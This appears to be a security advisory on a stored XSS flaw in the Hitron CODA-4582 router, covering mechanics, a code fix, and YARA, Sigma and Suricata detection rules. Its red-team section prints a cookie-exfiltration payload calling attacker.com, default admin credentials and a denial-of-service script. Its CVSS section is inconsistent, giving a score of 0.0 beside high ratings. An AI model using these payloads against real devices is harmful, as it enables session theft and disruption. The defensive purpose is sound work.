CVE-2024-28089

Executive Summary

CVE-2024-28089 is a DOM-based stored Cross-Site Scripting (XSS) vulnerability affecting the Hitron CODA-4582 router (firmware version 7.2.4.5.1b8). An authenticated remote attacker within Wi-Fi proximity can inject malicious JavaScript into the Device Location page (index.html#advanced_location). The payload executes in the context of the admin panel, enabling the attacker to fetch remote resources, cause denial of service, or exfiltrate sensitive information. No patch is currently available from the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector (AV): Adjacent Network (Wi-Fi proximity required)
• Attack Complexity (AC): Low
• Privileges Required (PR): Low (attacker needs admin panel access)
• User Interaction (UI): None
• Scope (S): Changed (impact on admin panel and potentially other resources)
• Confidentiality (C): High (information disclosure)
• Integrity (I): Low (stored XSS can modify page content)
• Availability (A): High (denial of service possible)
• Threat Level: High – Exploitation requires only Wi-Fi proximity and admin credentials, with no user interaction.

Deep Dive & Mechanics

The vulnerability resides in the advanced_location page of the router's web interface. The application fails to sanitize user-supplied input before storing it in the DOM. When the page is loaded, the stored payload is executed as JavaScript. Because the payload is stored (persistent), it affects all admin users who visit the page.

Attack Flow:

1. Attacker connects to the router's Wi-Fi network.
2. Attacker logs into the admin panel (default credentials or brute-forced).
3. Attacker navigates to index.html#advanced_location and injects a malicious script into an input field (e.g., location name).
4. The script is stored in the router's DOM.
5. When any admin user (including the attacker) visits the Device Location page, the script executes.
6. The script can fetch remote resources (e.g., exfiltrate session tokens, router config) or cause a denial of service by redirecting or freezing the page.

Vulnerable vs. Patched Code

Vulnerable Code (Hitron CODA-4582 firmware 7.2.4.5.1b8):

// No input sanitization
function saveLocation(locationName) {
    document.getElementById('locationDisplay').innerHTML = locationName;
}

Patched Code (Hypothetical fix):

function saveLocation(locationName) {
    // Sanitize input using textContent instead of innerHTML
    document.getElementById('locationDisplay').textContent = locationName;
    // Or use DOMPurify
    document.getElementById('locationDisplay').innerHTML = DOMPurify.sanitize(locationName);
}

Exploitation & Lab Setup

Red Team

Lab Setup:

• Router: Hitron CODA-4582 with firmware 7.2.4.5.1b8
• Attacker machine: Kali Linux with Wi-Fi adapter
• Victim machine: Any device connected to the router's Wi-Fi

Exploit Steps:

1. Connect to the router's Wi-Fi network.
2. Access the admin panel (default IP: 192.168.0.1, default credentials: admin/password).
3. Navigate to http://192.168.0.1/index.html#advanced_location.
4. Inject the following payload into the location name field:

<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

5. Save the location. The script is now stored.
6. When any admin user visits the Device Location page, the script executes and exfiltrates cookies.

Alternative Payload (Denial of Service):

<script>while(true){alert('XSS')}</script>

Blue Team

Detection:

• Monitor admin panel logs for unusual location name entries containing <script> tags.
• Use network monitoring to detect outbound connections to unknown IPs from the router.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Mitigation:

• Disable remote admin access if not needed.
• Change default admin credentials immediately.
• Apply input validation and output encoding on the router's web interface.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP/HTTPS requests from the router to unknown external IPs.
• Logs: Admin panel logs showing location names containing <script>, onerror, onload, or fetch keywords.
• File System: Modified DOM storage entries on the router containing JavaScript payloads.
• Behavior: Unexplained pop-ups or redirects when accessing the Device Location page.

Detection Engineering

YARA Rule

rule CVE_2024_28089_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting Hitron CODA-4582 Device Location page"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-28089"
    strings:
        $xss1 = "<script>" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "fetch(" ascii wide nocase
        $xss4 = "document.cookie" ascii wide nocase
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Hitron CODA-4582 Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in Hitron CODA-4582 admin panel logs
author: Valters IT
date: 2025-04-10
logsource:
    product: hitron
    service: admin_panel
detection:
    selection:
        EventID: 1001
        LocationName|contains:
            - '<script>'
            - 'onerror='
            - 'fetch('
            - 'document.cookie'
    condition: selection
falsepositives:
    - Legitimate use of location names containing HTML (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-28089 Hitron CODA-4582 Stored XSS Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Change default admin credentials to strong, unique passwords.
2. Disable remote admin access (WAN-side management) if not required.
3. Restrict Wi-Fi access to trusted devices only (MAC filtering, WPA3).
4. Monitor admin panel logs for suspicious location name entries.

Long-Term Fix:

• Vendor must release a firmware update that sanitizes user input on the Device Location page (use textContent instead of innerHTML).
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Apply input validation and output encoding across all admin panel pages.

Workaround:

• If patching is not possible, consider replacing the router with a supported model.

Valters IT